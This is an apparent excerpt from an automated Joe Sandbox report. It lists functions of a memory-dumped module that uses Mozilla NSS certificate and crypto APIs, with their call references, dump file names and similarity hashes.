Function 6C7A0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C7A0BDE), ref: 6C7A0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C7A0BDE), ref: 6C7A0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C7A0BDE), ref: 6C7A0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C7A0BDE), ref: 6C7A0E32

Strings

%s incr => %d (find lib), xrefs: 6C7A0E2D

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 1821a84ee7a9198ff0b4025405ca50d10d8b1ecc62961a9803bc2d603283767d
Instruction ID: dc942aedcc908212ff3ef2c276935c88d730eae92d7a155b39d17a63a06d398f
Opcode Fuzzy Hash: 1821a84ee7a9198ff0b4025405ca50d10d8b1ecc62961a9803bc2d603283767d
Instruction Fuzzy Hash: 1D01F5727042109FE7209F64DD4AE1773ACDB45608B144D7DD90AD3A41E761EC1987E1

Function 6C7FC590 Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7FC5C7
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7FC603
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7FC636
PK11_FreeSymKey.NSS3(?), ref: 6C7FC6D7
PK11_FreeSymKey.NSS3(?), ref: 6C7FC6E1

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: K11_$DoesMechanism$Free
String ID:
API String ID: 3860933388-0
Opcode ID: 330f65cbfbac9e25901c602c337c4dc864fed0e70d4d4ed59391942bb2d9239a
Instruction ID: 261003b5bd11b475e264f98b87b9e9aaff2dd207619f4180450003e7d27d3995
Opcode Fuzzy Hash: 330f65cbfbac9e25901c602c337c4dc864fed0e70d4d4ed59391942bb2d9239a
Instruction Fuzzy Hash: A44192B560020AAFDB119F69CDC4DAB77A9EF08349B100038FD24D7710E731E826CBA1

Function 6C756D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6C743C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C743C66
Part of subcall function 6C743C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C743D04

memcpy.VCRUNTIME140(?,?,?), ref: 6C756DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6C756DE5

Part of subcall function 6C758010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C75807D
Part of subcall function 6C758010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7580D1
Part of subcall function 6C758010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C75810E
Part of subcall function 6C758010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C758140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6C756E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C756E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C756EC2

Part of subcall function 6C757D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C757E27
Part of subcall function 6C757D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C757E67

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: 331d7f3253bccb8a1541f472fd59935ed9f5027f145455ed906373c61bc82192
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: D25191719083519FC724CF25C950B6ABBF5FF88318F04896DE89987741E730E928CB92

Function 6C814690 Relevance: 7.6, APIs: 5, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000001,00000000,00000000,6C900148,?,6C7C73A4,?,00000027,00000022), ref: 6C8146D9
PORT_ZAlloc_Util.NSS3(00000001,00000022), ref: 6C81473E
free.MOZGLUE(00000000,?,00000022), ref: 6C81476C
free.MOZGLUE(00000000,?,00000022), ref: 6C81477A
PORT_Strdup_Util.NSS3(6C900148,00000000,00000000,6C900148,?,6C7C73A4,?,00000027,00000022), ref: 6C814788

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Alloc_free$Strdup_
String ID:
API String ID: 1542459429-0
Opcode ID: 6a1ff7ed0ab85ecada004fff60a38af10458ea4cecc34fe794e08d0d85c89dd0
Instruction ID: f8f7941691147fb505bba686090e7f71daa20b5078b47d3d62d4a1d3d15cd3eb
Opcode Fuzzy Hash: 6a1ff7ed0ab85ecada004fff60a38af10458ea4cecc34fe794e08d0d85c89dd0
Instruction Fuzzy Hash: 0231075560D6CB4EE722093D5EA13F32FD64BC725DF1C0C68E8DACBE12D61384198691

Function 6C842460 Relevance: 7.6, APIs: 5, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,6C8E7379,00000002,?), ref: 6C842493
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C8424B4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,6C8E7379,00000002,?), ref: 6C8424EA
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,6C8E7379,00000002,?), ref: 6C8424F5
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,6C8E7379,00000002,?), ref: 6C8424FE

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Error$Alloc_FreeK11_Utilfree
String ID:
API String ID: 2595244113-0
Opcode ID: 2400a44ea979281962f8b6f746ded8c1f549e35326a010b468bf707e67356e68
Instruction ID: 9a120acf7087c913d512f025c53e4c1cdcb49e30b819cd783c97203accac2959
Opcode Fuzzy Hash: 2400a44ea979281962f8b6f746ded8c1f549e35326a010b468bf707e67356e68
Instruction Fuzzy Hash: 0E31F7B1A041199FEB208FA4DD45BFB77A4EF58308F108529FD14D6A80F774D954C7A1

Function 6C848530 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C848549
TlsGetValue.KERNEL32 ref: 6C8485CF
TlsGetValue.KERNEL32 ref: 6C8485FE
TlsGetValue.KERNEL32 ref: 6C848629
memcpy.VCRUNTIME140 ref: 6C848655

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$IdentitiesLayermemcpy
String ID:
API String ID: 2311246771-0
Opcode ID: 264cf4f00a1ea5f527031b2d58b5ef0ecc6fd94efc416b078174ec236d8b7ccd
Instruction ID: 985412d021efe85cf216d8964184b5b299eebef45e026d4e9b4978cbe7d30b9b
Opcode Fuzzy Hash: 264cf4f00a1ea5f527031b2d58b5ef0ecc6fd94efc416b078174ec236d8b7ccd
Instruction Fuzzy Hash: 8E418370609709CFEB60AF78C649669B7B4BF46308F11CA2AD859C7A51D7309895CBC2

Function 6C7AEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7AEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C7AEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C7AEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7AEEEB
free.MOZGLUE(?), ref: 6C7AEEF6

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: b99dcca2aca30a875e0adba31afd73161b825674e9e88b86e515199bafe2e103
Instruction ID: 8cf127148204219752a0407d86f3db0353b0c76d1cb18349c017e98480d1d57f
Opcode Fuzzy Hash: b99dcca2aca30a875e0adba31afd73161b825674e9e88b86e515199bafe2e103
Instruction Fuzzy Hash: A23104716086089FFB209F68CD467667BF8FB46305F140738E85A87A51E731E825CBE2

Function 6C8CA530 Relevance: 7.6, APIs: 5, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C8CA55C
PR_IntervalNow.NSS3 ref: 6C8CA573
PR_IntervalNow.NSS3 ref: 6C8CA5A5
_PR_MD_UNLOCK.NSS3(?), ref: 6C8CA603

Part of subcall function 6C879890: TlsGetValue.KERNEL32(?,?,?,6C8797EB), ref: 6C87989E

_PR_MD_UNLOCK.NSS3(?), ref: 6C8CA636

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Interval$CriticalEnterSectionValue
String ID:
API String ID: 959321092-0
Opcode ID: 3db09fc7b74060b75056c87d993a809ac1d2e878f53200460133706be5ad68e2
Instruction ID: fc759bd5c9e5c9f79bad8264fc6a89000c85b5815af1d405cbd020955d627117
Opcode Fuzzy Hash: 3db09fc7b74060b75056c87d993a809ac1d2e878f53200460133706be5ad68e2
Instruction Fuzzy Hash: 24315BB1A006058FCB20DF69CA84A9ABBF5FF44318B158975D8148BB16E730EC84CBA1

Function 6C7D86D0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D8716
TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D8727
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D873B
PR_Unlock.NSS3(?), ref: 6C7D876F
PR_SetError.NSS3(00000000,00000000), ref: 6C7D8787

Part of subcall function 6C7D79F0: memcpy.VCRUNTIME140(?,6C8DAB28,000000FC), ref: 6C7D7A1E
Part of subcall function 6C7D79F0: PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7D7A48

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Error$AuthenticateCriticalEnterK11_SectionUnlockValuememcpy
String ID:
API String ID: 3710639568-0
Opcode ID: 799022592cfcd56a4685c463dba9e977467a7c633f516db0874e14e07e05be52
Instruction ID: 1746cf37f708f2cee7f05cdc08c9c4b0f8455623209e3fc2784963a8b7059d66
Opcode Fuzzy Hash: 799022592cfcd56a4685c463dba9e977467a7c633f516db0874e14e07e05be52
Instruction Fuzzy Hash: 6D315A76A00200AFDF109F78DD45AAA77B9EF45328F164439ED095B701EB31F914C7A2

Function 6C7B44D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6C7B44FF

Part of subcall function 6C8107B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C7B8298,?,?,?,6C7AFCE5,?), ref: 6C8107BF
Part of subcall function 6C8107B0: PL_HashTableLookup.NSS3(?,?), ref: 6C8107E6
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C81081B
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C810825

SECOID_FindOID_Util.NSS3(?), ref: 6C7B4524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C7B4537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6C7B4579

Part of subcall function 6C7B41B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C7B41BE
Part of subcall function 6C7B41B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C7B41E9
Part of subcall function 6C7B41B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C7B4227
Part of subcall function 6C7B41B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6C7B423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7B459C

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: 67724331f52669b2bf3f0c76096e4108d9daf3b372e5b11042451b0d5dc601bf
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: 7D21B371705A149BEB10CE699F44B6B37B89F41658F240838FC19EBF41E731E904E6A1

Function 6C7BA6B0 Relevance: 7.6, APIs: 5, Instructions: 90timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(00000000,00000000,6C7BA2FA,00000000,6C7BA2FA,00000000), ref: 6C7BA6E4

Part of subcall function 6C7B1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C7B1E0B
Part of subcall function 6C7B1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C7B1E24

TlsGetValue.KERNEL32(?,?,?,?,6C7BA2FA,00000000), ref: 6C7BA723
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C7BA2FA,00000000), ref: 6C7BA733
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7BA2FA,00000000), ref: 6C7BA74C
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,6C7BA2FA,00000000), ref: 6C7BA774

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Choice_DecodeTime$Arena_CertCheckCriticalEnterFreeSectionTimesUnlockValidValue
String ID:
API String ID: 2353111112-0
Opcode ID: 32b1c16feb9af2f66cfa0a7dbb998e69343e00428ae6ce6deb896c7e25d9a38d
Instruction ID: b77bf0c1f0ae6a9faee35b15c84e8ee7221f57bb701771c53367026e36ca7528
Opcode Fuzzy Hash: 32b1c16feb9af2f66cfa0a7dbb998e69343e00428ae6ce6deb896c7e25d9a38d
Instruction Fuzzy Hash: EE210975A086009BEB10BF398E4976B77B8DF4A368F204539EC28A7741EB31D544C6E2

Function 6C7BE5E0 Relevance: 7.6, APIs: 5, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6C7BE755,00000000,00000004,?,?), ref: 6C7BE5F5

Part of subcall function 6C8114C0: TlsGetValue.KERNEL32 ref: 6C8114E0
Part of subcall function 6C8114C0: EnterCriticalSection.KERNEL32 ref: 6C8114F5
Part of subcall function 6C8114C0: PR_Unlock.NSS3 ref: 6C81150D

PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6C7BE62C
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6C7BE63E

Part of subcall function 6C80F9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6C7AF379,?,00000000,-00000002), ref: 6C80F9B7

PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6C7BE65C

Part of subcall function 6C7DDDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C7DDDEC
Part of subcall function 6C7DDDD0: PK11_DigestBegin.NSS3(00000000), ref: 6C7DDE70
Part of subcall function 6C7DDDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C7DDE83
Part of subcall function 6C7DDDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6C7DDE95
Part of subcall function 6C7DDDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C7DDEAE
Part of subcall function 6C7DDDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C7DDEBB

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6C7BE68E

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: K11_Util$Digest$ArenaItem_Mark_$AllocBeginContextCriticalDestroyEnterErrorFinalFindHashResultSectionTag_UnlockValueZfree
String ID:
API String ID: 2865137721-0
Opcode ID: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction ID: f77517cd1553e552e3c54a89875170c2f61202b4210ec4fb3cd163d0f44e80f9
Opcode Fuzzy Hash: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction Fuzzy Hash: E22134767012066FFB004EA99E40FA777A89F8424CF1541B4ED08A7B51EB31DD14C2D1

Function 6C7BAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C7B3FFF,00000000,?,?,?,?,?,6C7B1A1C,00000000,00000000), ref: 6C7BADA7

Part of subcall function 6C8114C0: TlsGetValue.KERNEL32 ref: 6C8114E0
Part of subcall function 6C8114C0: EnterCriticalSection.KERNEL32 ref: 6C8114F5
Part of subcall function 6C8114C0: PR_Unlock.NSS3 ref: 6C81150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C7B3FFF,00000000,?,?,?,?,?,6C7B1A1C,00000000,00000000), ref: 6C7BADB4

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C7B3FFF,?,?,?,?,6C7B3FFF,00000000,?,?,?,?,?,6C7B1A1C,00000000), ref: 6C7BADD5

Part of subcall function 6C80FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C808D2D,?,00000000,?), ref: 6C80FB85
Part of subcall function 6C80FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C80FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8D94B0,?,?,?,?,?,?,?,?,6C7B3FFF,00000000,?), ref: 6C7BADEC

Part of subcall function 6C80B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8E18D0,?), ref: 6C80B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7B3FFF), ref: 6C7BAE3C

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
